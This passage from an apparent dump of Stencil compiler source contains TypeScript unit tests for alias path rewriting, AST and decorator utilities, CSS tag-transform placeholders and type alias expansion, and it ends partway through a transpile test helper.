normalizePath(path.join(config.rootDir, inputFileName)),\n  );\n}\n\ndescribe('rewrite alias module paths transform', () => {\n  it('should rewrite an aliased module identifier', async () => {\n    const t = await pathTransformTranspile(`\n      import { foo } from \"@namespace\";\n      export class CmpA {\n        render() {\n          return <some-cmp>{ foo(\"bar\") }</some-cmp>\n        }\n      }\n    `);\n\n    expect(await formatCode(t.outputText)).toBe(\n      await formatCode(\n        'import { foo } from \"./name/space\";export class CmpA { render() { return h(\"some-cmp\", null, foo(\"bar\")); }}',\n      ),\n    );\n  });\n\n  it('should rewrite a nested aliased modules identifier', async () => {\n    const t = await pathTransformTranspile(`\n      import { foo } from \"@namespace/subdir\";\n      export class CmpA {\n        render() {\n          return <some-cmp>{ foo(\"bar\") }</some-cmp>\n        }\n      }\n    `);\n\n    expect(await formatCode(t.outputText)).toBe(\n      await formatCode(\n        'import { foo } from \"./name/space/subdir\";export class CmpA { render() { return h(\"some-cmp\", null, foo(\"bar\")); }}',\n      ),\n    );\n  });\n\n  it('should rewrite an aliased modules identifier in a .d.ts', async () => {\n    const t = await pathTransformTranspile(`\n      import { Foo } from \"@namespace\";\n\n      export class CmpA {\n        @Prop()\n        field: Foo = { bar: \"yes\" };\n\n        render() {\n          return <some-cmp />\n        }\n      }\n    `);\n\n    expect(await formatCode(t.declarationOutputText)).toBe(\n      await formatCode('import { Foo } from \"./name/space\";export declare class CmpA { field: Foo; render(): any;}'),\n    );\n  });\n\n  it('should rewrite a nested aliased modules identifier in a .d.ts', async () => {\n    const t = await pathTransformTranspile(`\n      import { Foo } from \"@namespace/subdir\";\n\n      export function fooUtil(foo: Foo): Foo {\n        return foo\n      }\n    `);\n\n    expect(await formatCode(t.declarationOutputText)).toBe(\n      await formatCode('import { Foo } from \"./name/space/subdir\";export declare function fooUtil(foo: Foo): Foo;'),\n    );\n  });\n\n  it('should rewrite multiple aliased paths in the same module', async () => {\n    const t = await pathTransformTranspile(`\n      import { Foo } from \"@namespace/subdir\";\n      import { Bar } from \"@namespace\";\n\n      export function fooUtil(foo: Foo): Bar {\n        return foo.toBar()\n      }\n    `);\n\n    expect(await formatCode(t.declarationOutputText)).toBe(\n      await formatCode(\n        'import { Foo } from \"./name/space/subdir\";import { Bar } from \"./name/space\";export declare function fooUtil(foo: Foo): Bar;',\n      ),\n    );\n  });\n\n  it('should rewrite aliased paths while leaving non-aliased paths alone', async () => {\n    const t = await pathTransformTranspile(`\n      import { Foo } from \"@namespace/subdir\";\n      import { Bar } from \"./name/space\";\n\n      export function fooUtil(foo: Foo): Bar {\n        return foo.toBar()\n      }\n    `);\n\n    expect(await formatCode(t.declarationOutputText)).toBe(\n      await formatCode(\n        'import { Foo } from \"./name/space/subdir\";import { Bar } from \"./name/space\";export declare function fooUtil(foo: Foo): Bar;',\n      ),\n    );\n  });\n\n  it('should correctly rewrite sibling paths', async () => {\n    const t = await pathTransformTranspile(\n      `\n      import { foo } from \"@namespace\";\n      export class CmpA {\n        render() {\n          return <some-cmp>{ foo(\"bar\") }</some-cmp>\n        }\n      }\n    `,\n      'name/component.tsx',\n    );\n\n    // with the import filename passed to `pathTransformTranspile` the file\n    // layout during this test looks like this:\n    //\n    // ```\n    // name\n    // ├── space.ts\n    // └── component.tsx\n    // ```\n    //\n    // we need to test that the relative path from `name/component.tsx` to\n    // `name/space.ts` is resolved correctly as `'./space'`.\n    expect(await formatCode(t.outputText)).toBe(\n      await formatCode(\n        'import { foo } from \"./space\";export class CmpA { render() { return h(\"some-cmp\", null, foo(\"bar\")); }}',\n      ),\n    );\n  });\n\n  it('should correctly rewrite nested sibling paths', async () => {\n    const t = await pathTransformTranspile(\n      `\n      import { foo } from \"@namespace/subdir\";\n      export class CmpA {\n        render() {\n          return <some-cmp>{ foo(\"bar\") }</some-cmp>\n        }\n      }\n    `,\n      'name/component.tsx',\n    );\n\n    // with the import filename passed to `pathTransformTranspile` the file\n    // layout during this test looks like this:\n    //\n    // ```\n    // name\n    // ├── component.tsx\n    // └── space\n    //     └── subdir.ts\n    // ```\n    //\n    // we need to test that the relative path from `name/component.tsx` to\n    // `name/space/subdir.ts` is resolved correctly as `'./space/subdir'`.\n    expect(await formatCode(t.outputText)).toBe(\n      await formatCode(\n        `import { foo } from \"./space/subdir\";\n        export class CmpA {\n          render() {\n            return h(\"some-cmp\", null, foo(\"bar\"));\n          }\n        }`,\n      ),\n    );\n  });\n\n  // this is a regression test for STENCIL-840, the issue referenced here:\n  // https://github.com/ionic-team/ionic-framework/pull/27417#discussion_r1187779290\n  it(\"shouldn't get tripped up by regexes!\", async () => {\n    const t = await pathTransformTranspile(`\n      import { foo } from \"@namespace/keyboard\";\n      export class CmpA {\n        render() {\n          return <some-cmp>{ foo(\"bar\") }</some-cmp>\n        }\n      }\n    `);\n\n    expect(await formatCode(t.outputText)).toBe(\n      await formatCode(\n        'import { foo } from \"./name/space/keyboard\";export class CmpA { render() { return h(\"some-cmp\", null, foo(\"bar\")); }}',\n      ),\n    );\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/transform-utils.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport {\n  addTagTransformToCssString,\n  addTagTransformToCssTsAST,\n  isMemberPrivate,\n  mapJSDocTagInfo,\n  parseDocsType,\n  resolveType,\n  retrieveModifierLike,\n  retrieveTsDecorators,\n  retrieveTsModifiers,\n  updateConstructor,\n} from '../transform-utils';\n\ndescribe('transform-utils', () => {\n  it('flattens TypeScript JSDocTagInfo to Stencil JSDocTagInfo', () => {\n    // tags corresponds to the following JSDoc\n    /*\n     * @param foo the first parameter\n     * @param bar\n     * @returns\n     * @see {@link https://example.com}\n     */\n    const tags = [\n      {\n        name: 'param',\n        text: [\n          { text: 'foo', kind: 'parameterName' },\n          { text: ' ', kind: 'space' },\n          { text: 'the first parameter', kind: 'text' },\n        ],\n      },\n      { name: 'param', text: [{ text: 'bar', kind: 'text' }] },\n      { name: 'returns', text: undefined },\n      {\n        name: 'see',\n        text: [\n          { text: '', kind: 'text' },\n          { text: '{@link ', kind: 'link' },\n          { text: 'https://example.com', kind: 'linkText' },\n          { text: '}', kind: 'link' },\n        ],\n      },\n    ];\n\n    expect(mapJSDocTagInfo(tags)).toEqual([\n      { name: 'param', text: 'foo the first parameter' },\n      { name: 'param', text: 'bar' },\n      { name: 'returns', text: undefined },\n      { name: 'see', text: '{@link https://example.com}' },\n    ]);\n  });\n\n  /**\n   * Helper method for creating an empty method named 'myMethod' with the provided modifiers.\n   *\n   * @example\n   * // By default, no modifiers will be applied, and the following will be returned:\n   * createMemberWithModifiers(); // myMethod() {}\n   *\n   * // Otherwise, the provided modifiers will be applied to the method:\n   * createMemberWithModifiers([ts.factory.createModifier(ts.SyntaxKind.PrivateKeyword)]); // private myMethod() {}\n   *\n   * @param modifiers the modifiers to apply to the method. Defaults to applying no modifiers if none are provided\n   * @returns a new empty method\n   */\n  const createMemberWithModifiers = (\n    modifiers: ReadonlyArray<ts.ModifierLike> | undefined = undefined,\n  ): ts.MethodDeclaration => {\n    return ts.factory.createMethodDeclaration(\n      modifiers,\n      undefined,\n      ts.factory.createIdentifier('myMethod'),\n      undefined,\n      undefined,\n      [],\n      undefined,\n      ts.factory.createBlock([], false),\n    );\n  };\n\n  describe('isMemberPrivate', () => {\n    it('returns false when the member has no modifiers', () => {\n      const methodDeclaration = createMemberWithModifiers();\n\n      expect(isMemberPrivate(methodDeclaration)).toBe(false);\n    });\n\n    it('returns false when the member has a non-private modifier', () => {\n      const methodDeclaration = createMemberWithModifiers([ts.factory.createModifier(ts.SyntaxKind.PublicKeyword)]);\n\n      expect(isMemberPrivate(methodDeclaration)).toBe(false);\n    });\n\n    it.each<[string, ts.ModifierSyntaxKind]>([\n      ['private', ts.SyntaxKind.PrivateKeyword],\n      ['protected', ts.SyntaxKind.ProtectedKeyword],\n    ])('returns true when the member has a (%s) modifier', (_name, modifier) => {\n      const methodDeclaration = createMemberWithModifiers([ts.factory.createModifier(modifier)]);\n\n      expect(isMemberPrivate(methodDeclaration)).toBe(true);\n    });\n  });\n\n  describe('retrieveModifierLike', () => {\n    it(\"returns an empty array when no ModifierLike's are present\", () => {\n      const methodDeclaration = createMemberWithModifiers();\n\n      expect(retrieveModifierLike(methodDeclaration)).toEqual([]);\n    });\n\n    it('returns all decorators and modifiers on a node', () => {\n      const privateModifier = ts.factory.createModifier(ts.SyntaxKind.PrivateKeyword);\n      const nonSenseDecorator = ts.factory.createDecorator(ts.factory.createStringLiteral('NonSenseDecorator'));\n\n      const methodDeclaration = createMemberWithModifiers([privateModifier, nonSenseDecorator]);\n      const modifierLikes = retrieveModifierLike(methodDeclaration);\n\n      expect(modifierLikes).toHaveLength(2);\n      expect(modifierLikes).toContain(privateModifier);\n      expect(modifierLikes).toContain(nonSenseDecorator);\n    });\n  });\n\n  describe('retrieveTsDecorators', () => {\n    it('returns undefined when a node cannot have decorators', () => {\n      const node = ts.factory.createNumericLiteral(123);\n\n      const decorators = retrieveTsDecorators(node);\n\n      expect(decorators).toEqual(undefined);\n    });\n\n    it('returns undefined when a node has undefined decorators', () => {\n      // create a class declaration with name 'MyClass' and no decorators\n      const node = ts.factory.createClassDeclaration(undefined, 'MyClass', undefined, undefined, []);\n\n      const decorators = retrieveTsDecorators(node);\n\n      expect(decorators).toEqual(undefined);\n    });\n\n    it('returns undefined when a node has no decorators', () => {\n      // create a class declaration with name 'MyClass' and no decorators\n      const node = ts.factory.createClassDeclaration([], 'MyClass', undefined, undefined, []);\n\n      const decorators = retrieveTsDecorators(node);\n\n      expect(decorators).toEqual(undefined);\n    });\n\n    it(\"returns a node's decorators\", () => {\n      const initialDecorators = [\n        // no-op decorator, but it's good enough for testing purposes\n        ts.factory.createDecorator(ts.factory.createStringLiteral('NonSenseDecorator')),\n      ];\n\n      // create a class declaration with name 'MyClass' and a decorator\n      const node = ts.factory.createClassDeclaration(initialDecorators, 'MyClass', undefined, undefined, []);\n\n      const decorators = retrieveTsDecorators(node);\n\n      expect(decorators).toHaveLength(1);\n      expect(decorators![0]).toEqual(initialDecorators[0]);\n    });\n  });\n\n  describe('retrieveTsModifiers', () => {\n    it('returns undefined when a node cannot have modifiers', () => {\n      const node = ts.factory.createNumericLiteral(123);\n\n      const modifiers = retrieveTsModifiers(node);\n\n      expect(modifiers).toEqual(undefined);\n    });\n\n    it('returns undefined when a node has undefined modifiers', () => {\n      // create a class declaration with name 'MyClass' and no modifiers\n      const node = ts.factory.createClassDeclaration(undefined, 'MyClass', undefined, undefined, []);\n\n      const modifiers = retrieveTsModifiers(node);\n\n      expect(modifiers).toEqual(undefined);\n    });\n\n    it('returns undefined when a node has no modifiers', () => {\n      // create a class declaration with name 'MyClass' and no modifiers\n      const node = ts.factory.createClassDeclaration([], 'MyClass', undefined, undefined, []);\n\n      const modifiers = retrieveTsModifiers(node);\n\n      expect(modifiers).toEqual(undefined);\n    });\n\n    it(\"returns a node's modifiers\", () => {\n      const initialModifiers = [ts.factory.createModifier(ts.SyntaxKind.AbstractKeyword)];\n\n      // create a class declaration with name 'MyClass' and a 'abstract' modifier\n      const node = ts.factory.createClassDeclaration(initialModifiers, 'MyClass', undefined, undefined, []);\n\n      const modifiers = retrieveTsModifiers(node);\n\n      expect(modifiers).toHaveLength(1);\n      expect(modifiers![0]).toEqual(initialModifiers[0]);\n    });\n  });\n\n  describe('updateConstructor', () => {\n    function printClassMembers(classNode: ts.ClassDeclaration, classMembers: ts.ClassElement[]) {\n      const updatedClass = ts.factory.updateClassDeclaration(\n        classNode,\n        classNode.modifiers,\n        classNode.name,\n        classNode.typeParameters,\n        classNode.heritageClauses,\n        classMembers,\n      );\n      const printer: ts.Printer = ts.createPrinter();\n      let sourceFile = ts.createSourceFile('dummy.ts', '', ts.ScriptTarget.ESNext, false, ts.ScriptKind.TS);\n      sourceFile = ts.factory.updateSourceFile(sourceFile, [updatedClass]);\n      return printer.printFile(sourceFile).replace(/\\n/g, '').replace(/    /g, ' ');\n    }\n\n    it('returns the same constructor when no parameters are provided', () => {\n      const classNode = ts.factory.createClassDeclaration([], 'MyClass', undefined, undefined, [\n        ts.factory.createConstructorDeclaration([], [], ts.factory.createBlock([], false)),\n      ]);\n      const updatedMembers = updateConstructor(classNode, Array.from(classNode.members), []);\n\n      expect(printClassMembers(classNode, updatedMembers)).toBe(`class MyClass { constructor() { }}`);\n    });\n\n    it('adds a constructor when none is present and statements are provided', () => {\n      const ctorStatements = [ts.factory.createExpressionStatement(ts.factory.createIdentifier('someMethod()'))];\n\n      const classNode = ts.factory.createClassDeclaration([], 'MyClass', undefined, undefined, [\n        ts.factory.createMethodDeclaration(\n          [],\n          undefined,\n          ts.factory.createIdentifier('myMethod'),\n          undefined,\n          undefined,\n          [],\n          undefined,\n          ts.factory.createBlock([], false),\n        ),\n        ts.factory.createPropertyDeclaration(\n          [],\n          ts.factory.createIdentifier('myProperty'),\n          undefined,\n          undefined,\n          undefined,\n        ),\n      ]);\n\n      const updatedMembers = updateConstructor(classNode, Array.from(classNode.members), ctorStatements);\n\n      expect(printClassMembers(classNode, updatedMembers)).toBe(\n        `class MyClass { constructor() {  someMethod(); } myMethod() { } myProperty;}`,\n      );\n    });\n\n    it('adds super call when class extends another class', () => {\n      const classNode = ts.factory.createClassDeclaration(\n        [],\n        'MyClass',\n        undefined,\n        [\n          ts.factory.createHeritageClause(ts.SyntaxKind.ExtendsKeyword, [\n            ts.factory.createExpressionWithTypeArguments(ts.factory.createIdentifier('BaseClass'), []),\n          ]),\n        ],\n        [ts.factory.createConstructorDeclaration([], [], ts.factory.createBlock([], false))],\n      );\n\n      expect(printClassMembers(classNode, updateConstructor(classNode, Array.from(classNode.members), []))).toBe(\n        `class MyClass extends BaseClass { constructor() { super(); }}`,\n      );\n    });\n\n    it('makes sure super call is the first statement in the constructor body', () => {\n      const classNode = ts.factory.createClassDeclaration(\n        [],\n        'MyClass',\n        undefined,\n        [\n          ts.factory.createHeritageClause(ts.SyntaxKind.ExtendsKeyword, [\n            ts.factory.createExpressionWithTypeArguments(ts.factory.createIdentifier('BaseClass'), []),\n          ]),\n        ],\n        [\n          ts.factory.createConstructorDeclaration(\n            [],\n            [],\n            ts.factory.createBlock(\n              [ts.factory.createExpressionStatement(ts.factory.createIdentifier('someMethod()'))],\n              false,\n            ),\n          ),\n        ],\n      );\n\n      expect(printClassMembers(classNode, updateConstructor(classNode, Array.from(classNode.members), []))).toBe(\n        `class MyClass extends BaseClass { constructor() { super(); someMethod(); }}`,\n      );\n    });\n\n    it('adds false argument to super call when no parameters are provided', () => {\n      const classNode = ts.factory.createClassDeclaration(\n        [],\n        'MyClass',\n        undefined,\n        [\n          ts.factory.createHeritageClause(ts.SyntaxKind.ExtendsKeyword, [\n            ts.factory.createExpressionWithTypeArguments(ts.factory.createIdentifier('BaseClass'), []),\n          ]),\n        ],\n        [ts.factory.createConstructorDeclaration([], [], ts.factory.createBlock([], false))],\n      );\n\n      expect(\n        printClassMembers(classNode, updateConstructor(classNode, Array.from(classNode.members), [], [], true)),\n      ).toBe(`class MyClass extends BaseClass { constructor() { super(false); }}`);\n    });\n  });\n\n  describe('addTagTransformToCssString', () => {\n    it('should transform tag selectors to placeholder syntax', () => {\n      const cssCode = 'my-component { color: red; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssString(cssCode, tagNames);\n\n      expect(result).toBe('${__stencil_transformTag(\"my-component\")} { color: red; }');\n    });\n\n    it('should transform multiple tag selectors', () => {\n      const cssCode = 'my-component { color: red; } other-component { color: blue; }';\n      const tagNames = ['my-component', 'other-component'];\n\n      const result = addTagTransformToCssString(cssCode, tagNames);\n\n      expect(result).toBe(\n        '${__stencil_transformTag(\"my-component\")} { color: red; } ${__stencil_transformTag(\"other-component\")} { color: blue; }',\n      );\n    });\n\n    it('should only transform specified tag names', () => {\n      const cssCode = 'my-component { color: red; } other-component { color: blue; } .class { color: green; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssString(cssCode, tagNames);\n\n      expect(result).toBe(\n        '${__stencil_transformTag(\"my-component\")} { color: red; } other-component { color: blue; } .class { color: green; }',\n      );\n    });\n\n    it('should handle complex selectors with tag names', () => {\n      const cssCode = 'my-component.active { color: red; } my-component:hover { color: blue; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssString(cssCode, tagNames);\n\n      expect(result).toBe(\n        '${__stencil_transformTag(\"my-component\")}.active { color: red; } ${__stencil_transformTag(\"my-component\")}:hover { color: blue; }',\n      );\n    });\n\n    it('should handle descendant selectors', () => {\n      const cssCode = 'parent-component my-component { color: red; }';\n      const tagNames = ['my-component', 'parent-component'];\n\n      const result = addTagTransformToCssString(cssCode, tagNames);\n\n      expect(result).toBe(\n        '${__stencil_transformTag(\"parent-component\")} ${__stencil_transformTag(\"my-component\")} { color: red; }',\n      );\n    });\n\n    it('should return original CSS when no tag names match', () => {\n      const cssCode = '.class { color: red; } #id { color: blue; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssString(cssCode, tagNames);\n\n      expect(result).toBe('.class { color: red; } #id { color: blue; }');\n    });\n\n    it('should handle empty tag names array', () => {\n      const cssCode = 'my-component { color: red; }';\n      const tagNames: string[] = [];\n\n      const result = addTagTransformToCssString(cssCode, tagNames);\n\n      expect(result).toBe('my-component { color: red; }');\n    });\n\n    it('should handle attribute selectors with tag names', () => {\n      const cssCode = 'my-component[active] { color: red; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssString(cssCode, tagNames);\n\n      expect(result).toBe('${__stencil_transformTag(\"my-component\")}[active] { color: red; }');\n    });\n  });\n\n  describe('addTagTransformToCssTsAST', () => {\n    let printer: ts.Printer;\n    let sourceFile: ts.SourceFile;\n\n    beforeEach(() => {\n      printer = ts.createPrinter({ newLine: ts.NewLineKind.LineFeed });\n      sourceFile = ts.createSourceFile('test.ts', '', ts.ScriptTarget.ES2015);\n    });\n\n    it('should return NoSubstitutionTemplateLiteral when no tags are found', () => {\n      const cssCode = '.class { color: red; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssTsAST(cssCode, tagNames);\n\n      expect(ts.isNoSubstitutionTemplateLiteral(result)).toBe(true);\n\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe('`.class { color: red; }`');\n    });\n\n    it('should return TemplateExpression with tag transform calls', () => {\n      const cssCode = 'my-component { color: red; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssTsAST(cssCode, tagNames);\n\n      expect(ts.isTemplateExpression(result)).toBe(true);\n\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe('`${__stencil_transformTag(\"my-component\")} { color: red; }`');\n    });\n\n    it('should handle multiple tag transformations', () => {\n      const cssCode = 'my-component { color: red; } other-component { color: blue; }';\n      const tagNames = ['my-component', 'other-component'];\n\n      const result = addTagTransformToCssTsAST(cssCode, tagNames);\n\n      expect(ts.isTemplateExpression(result)).toBe(true);\n\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe(\n        '`${__stencil_transformTag(\"my-component\")} { color: red; } ${__stencil_transformTag(\"other-component\")} { color: blue; }`',\n      );\n    });\n\n    it('should handle complex selectors with mixed content', () => {\n      const cssCode = '.class { color: green; } my-component:hover { color: red; } #id { color: yellow; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssTsAST(cssCode, tagNames);\n\n      expect(ts.isTemplateExpression(result)).toBe(true);\n\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe(\n        '`.class { color: green; } ${__stencil_transformTag(\"my-component\")}:hover { color: red; } #id { color: yellow; }`',\n      );\n    });\n\n    it('should handle descendant selectors', () => {\n      const cssCode = 'parent-component my-component { color: red; }';\n      const tagNames = ['my-component', 'parent-component'];\n\n      const result = addTagTransformToCssTsAST(cssCode, tagNames);\n\n      expect(ts.isTemplateExpression(result)).toBe(true);\n\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe(\n        '`${__stencil_transformTag(\"parent-component\")} ${__stencil_transformTag(\"my-component\")} { color: red; }`',\n      );\n    });\n\n    it('should handle tag names that appear multiple times', () => {\n      const cssCode = 'my-component { color: red; } my-component.active { color: blue; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssTsAST(cssCode, tagNames);\n\n      expect(ts.isTemplateExpression(result)).toBe(true);\n\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe(\n        '`${__stencil_transformTag(\"my-component\")} { color: red; } ${__stencil_transformTag(\"my-component\")}.active { color: blue; }`',\n      );\n    });\n\n    it('should handle empty tag names array', () => {\n      const cssCode = 'my-component { color: red; }';\n      const tagNames: string[] = [];\n\n      const result = addTagTransformToCssTsAST(cssCode, tagNames);\n\n      expect(ts.isNoSubstitutionTemplateLiteral(result)).toBe(true);\n\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe('`my-component { color: red; }`');\n    });\n\n    it('should handle CSS with newlines and formatting', () => {\n      const cssCode = `my-component {\n  color: red;\n  margin: 10px;\n}`;\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssTsAST(cssCode, tagNames);\n\n      expect(ts.isTemplateExpression(result)).toBe(true);\n\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toContain('__stencil_transformTag(\"my-component\")');\n      expect(output).toContain('color: red');\n      expect(output).toContain('margin: 10px');\n    });\n\n    it('should create proper TemplateSpan structure', () => {\n      const cssCode = 'my-component { color: red; }';\n      const tagNames = ['my-component'];\n\n      const result = addTagTransformToCssTsAST(cssCode, tagNames);\n\n      if (ts.isTemplateExpression(result)) {\n        expect(result.templateSpans).toHaveLength(1);\n\n        const span = result.templateSpans[0];\n        expect(ts.isCallExpression(span.expression)).toBe(true);\n\n        const callExpr = span.expression as ts.CallExpression;\n        expect(ts.isIdentifier(callExpr.expression)).toBe(true);\n        expect((callExpr.expression as ts.Identifier).text).toBe('__stencil_transformTag');\n        expect(callExpr.arguments).toHaveLength(1);\n        expect(ts.isStringLiteral(callExpr.arguments[0])).toBe(true);\n        expect((callExpr.arguments[0] as ts.StringLiteral).text).toBe('my-component');\n      } else {\n        fail('Expected TemplateExpression but got different node type');\n      }\n    });\n  });\n\n  describe('resolveType and parseDocsType', () => {\n    /**\n     * Helper to create a minimal compiler host for testing\n     */\n    const createTestCompilerHost = (sourceFile: ts.SourceFile): ts.CompilerHost => ({\n      getSourceFile: (fileName) => (fileName === 'test.ts' ? sourceFile : undefined),\n      writeFile: () => {},\n      getCurrentDirectory: () => '',\n      getDirectories: () => [],\n      fileExists: () => true,\n      readFile: () => '',\n      getCanonicalFileName: (fileName) => fileName,\n      useCaseSensitiveFileNames: () => true,\n      getNewLine: () => '\\n',\n      getDefaultLibFileName: () => 'lib.d.ts',\n    });\n\n    describe('type alias expansion', () => {\n      it('should expand non-generic type aliases to their literal values', () => {\n        // Create a simple type alias: type ColorName = \"red\" | \"green\" | \"blue\"\n        const sourceCode = `\n          type ColorName = \"red\" | \"green\" | \"blue\";\n          const color: ColorName = \"red\";\n        `;\n\n        const sourceFile = ts.createSourceFile('test.ts', sourceCode, ts.ScriptTarget.ES2015, true);\n        const program = ts.createProgram(['test.ts'], {}, createTestCompilerHost(sourceFile));\n        const checker = program.getTypeChecker();\n\n        // Get the type of the 'color' variable\n        const variableStatement = sourceFile.statements[1] as ts.VariableStatement;\n        const variableDeclaration = variableStatement.declarationList.declarations[0];\n        const type = checker.getTypeAtLocation(variableDeclaration);\n\n        const result = resolveType(checker, type);\n\n        // Should expand to the literal values\n        expect(result).toBe('\"blue\" | \"green\" | \"red\"');\n      });\n\n      it('should expand generic type aliases to their literal values', () => {\n        // Create a generic type alias: type AllowedValues<T> = T\n        const sourceCode = `\n          type AllowedValues<T> = T;\n          const value: AllowedValues<\"a\" | \"b\" | \"c\"> = \"a\";\n        `;\n\n        const sourceFile = ts.createSourceFile('test.ts', sourceCode, ts.ScriptTarget.ES2015, true);\n        const program = ts.createProgram(['test.ts'], {}, createTestCompilerHost(sourceFile));\n        const checker = program.getTypeChecker();\n\n        // Get the type of the 'value' variable\n        const variableStatement = sourceFile.statements[1] as ts.VariableStatement;\n        const variableDeclaration = variableStatement.declarationList.declarations[0];\n        const type = checker.getTypeAtLocation(variableDeclaration);\n\n        const result = resolveType(checker, type);\n\n        // Should expand to the literal values\n        expect(result).toBe('\"a\" | \"b\" | \"c\"');\n      });\n\n      it('should expand unions of type aliases with more than 20 members', () => {\n        // Create a union type with 21 string literal values (3 + 18)\n        const sourceCode = `\n          type ColorName = \"Lavender\" | \"Mint\" | \"Rose\";\n          type ColorShadeName = \"100\" | \"200\" | \"300\" | \"400\" | \"500\" | \"600\";\n          type AllowedColors<T> = T;\n          const color: ColorName | AllowedColors<\\`\\${ColorName}-\\${ColorShadeName}\\`> = \"Lavender\";\n        `;\n\n        const sourceFile = ts.createSourceFile('test.ts', sourceCode, ts.ScriptTarget.ES2015, true);\n        const program = ts.createProgram(['test.ts'], {}, createTestCompilerHost(sourceFile));\n        const checker = program.getTypeChecker();\n\n        // Get the type of the 'color' variable\n        const variableStatement = sourceFile.statements[3] as ts.VariableStatement;\n        const variableDeclaration = variableStatement.declarationList.declarations[0];\n        const type = checker.getTypeAtLocation(variableDeclaration);\n\n        const result = resolveType(checker, type);\n\n        // Should expand to all 21 literal values (3 base colors + 18 combinations)\n        const parts = result.split(' | ');\n        expect(parts.length).toBe(21);\n        expect(parts).toContain('\"Lavender\"');\n        expect(parts).toContain('\"Mint\"');\n        expect(parts).toContain('\"Rose\"');\n        expect(parts).toContain('\"Lavender-100\"');\n        expect(parts).toContain('\"Mint-600\"');\n        expect(parts).toContain('\"Rose-600\"');\n\n        // Verify no malformed entries (should not contain type alias names or angle brackets)\n        expect(result).not.toContain('ColorName');\n        expect(result).not.toContain('AllowedColors');\n        expect(result).not.toContain('<');\n        expect(result).not.toContain('>');\n      });\n\n      it('should handle parseDocsType correctly for union types', () => {\n        // Test that parseDocsType properly expands union types\n        const sourceCode = `\n          type Status = \"active\" | \"inactive\";\n          const status: Status = \"active\";\n        `;\n\n        const sourceFile = ts.createSourceFile('test.ts', sourceCode, ts.ScriptTarget.ES2015, true);\n        const program = ts.createProgram(['test.ts'], {}, createTestCompilerHost(sourceFile));\n        const checker = program.getTypeChecker();\n\n        // Get the type of the 'status' variable\n        const variableStatement = sourceFile.statements[1] as ts.VariableStatement;\n        const variableDeclaration = variableStatement.declarationList.declarations[0];\n        const type = checker.getTypeAtLocation(variableDeclaration);\n\n        const parts = new Set<string>();\n        parseDocsType(checker, type, parts);\n\n        expect(parts.size).toBe(2);\n        expect(parts.has('\"active\"')).toBe(true);\n        expect(parts.has('\"inactive\"')).toBe(true);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/transpile.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockBuildCtx, mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport ts from 'typescript';\n\nimport { performAutomaticKeyInsertion } from '../automatic-key-insertion';\nimport { convertDecoratorsToStatic } from '../decorators-to-static/convert-decorators';\nimport { updateModule } from '../static-to-meta/parse-static';\nimport { convertStaticToMeta } from '../static-to-meta/visitor';\nimport { getScriptTarget } from '../transform-utils';\n\n/**\n * Testing utility for transpiling provided string containing valid Stencil code\n *\n * @param input the code to transpile\n * @param config a Stencil configuration to apply during the transpilation\n * @param compilerCtx a compiler context to use in the transpilation process\n * @param beforeTransformers TypeScript transformers that should be applied before the code is emitted\n * @param afterTransformers TypeScript transformers that should be applied after the code is emitted\n * @param afterDeclarations TypeScript transformers that should be applied\n * after declarations are generated\n * @param tsConfig optional typescript compiler options to use\n * @param inputFileName a dummy filename to use for the module (defaults to `module.tsx`)\n * @returns the result of the transpilation step\n */\nexport function transpileModule(\n  input: string,\n  config?: Partial<d.ValidatedConfig> | null,\n  compilerCtx?: d.CompilerCtx | null,\n  beforeTransformers: ts.TransformerFactory<ts.SourceFile>[] = [],\n  afterTransformers: ts.TransformerFactory<ts.SourceFile>[] = [],\n  afterDeclarations: ts.TransformerFactory<ts.SourceFile | ts.Bundle>[] = [],\n  tsConfig: ts.CompilerOptions = {},\n  inputFileName = 'module.tsx',\n) {\n  const options: ts.CompilerOptions = {\n    ...ts.getDefaultCompilerOptions(),\n    allowNonTsExtensions: true,\n    composite: undefined,\n    declaration: undefined,\n    declarationDir: undefined,\n    experimentalDecorators: true,\n    isolatedModules: true,\n    jsx: ts.JsxEmit.React,\n    jsxFactory: 'h',\n    jsxFragmentFactory: 'Fragment',\n    lib: undefined,\n    module: ts.ModuleKind.ESNext,\n    noEmit: undefined,\n    noEmitHelpers: true,\n    noEmitOnError: undefined,\n    noLib: true,\n    noResolve: true,\n    out: undefined,\n    outFile: undefined,\n    paths: undefined,\n    removeComments: false,\n    rootDirs: undefined,\n    suppressOutputPathCheck: true,\n    target: getScriptTarget(),\n    types: undefined,\n    // add in possible default config overrides\n    ...tsConfig,\n  };\n\n  const initConfig = mockValidatedConfig();\n  const mergedConfig: d.ValidatedConfig = { ...initConfig, ...config };\n  compilerCtx = compilerCtx || mockCompilerCtx(mergedConfig);\n\n  const sourceFile = ts.createSourceFile(inputFileName, input, options.target);\n\n  let outputText: string;\n  let declarationOutputText: string;\n\n  const emitCallback: ts.WriteFileCallback = (emitFilePath, data, _w, _e, tsSourceFiles) => {\n    if (emitFilePath.endsWith('.js')) {\n      outputText = prettifyTSOutput(data);\n      updateModule(mergedConfig, compilerCtx, 